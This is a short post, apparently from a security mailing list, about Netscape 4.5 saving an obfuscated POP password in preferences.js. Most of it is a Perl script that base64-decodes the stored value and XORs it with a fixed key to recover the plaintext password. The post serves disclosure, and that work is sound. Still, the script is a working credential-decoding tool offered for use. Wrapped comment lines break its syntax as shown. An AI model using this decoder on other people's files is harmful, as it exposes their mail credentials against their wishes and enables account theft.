This vulnerability has been known about for a few months now.
As root you have access to their prefrences.js file. However they are
default to be unreadable by anyone but the owner. It is not a huge
security risk.
Here is a much shorter perl program that I wrote that will do the same
thing.

# Netscape "encrypted" password decoder by schlegel
# -------------------------------------------------
# Netscape 4.5 seems to save an encrypted version of your
# pop password in your preferences file even if you choose
# not to "save" the password.
# (compliments go to thievco for their advisory and
# for working out the encryption algorithm)
# schlegel
use MIME::Base64;
@hashlist = ("\x56","\xc9","\xef","\x4a","\x9b","\xbe","\x5a","\x42"); #
Array of characters to xor with the ciphertext.
if ($#ARGV != 0) { # Check to see if you supplied an
argument.
print "Encrypted string: "; # Nope, prompt you for one.
$ENCRYPTED_STRING = <STDIN>;
} else { # Yup, proceed.
$ENCRYPTED_STRING = $ARGV[0];
}
$PASSLEN = 9; # Set password length counter to nine.
$PLACE = 0; # Set ciphertext position to zero.
$PASSHASH = ""; # Set the hast to an empty string.
while (($found = index($ENCRYPTED_STRING,"=",$PLACE)) >= 0) # Count how
many ='s there are in the ciphertext
{ # and
subtract that number from nine.
$PLACE = ++$found;
$PASSLEN = --$PASSLEN;
}
for ($i = 0; $i < $PASSLEN; $i++) # Add the first $PASSLEN array indexes
of the hash list to $PASSHASH.
{
$PASSHASH = $PASSHASH . $hashlist[$i];
}
print "Password length: ", $PASSLEN, "\n"; # Print the
password length.
print "Decrypted password: ";
print ((decode_base64($ENCRYPTED_STRING)) ^ ($PASSHASH)); # and the
decrypted password.
print "\n";
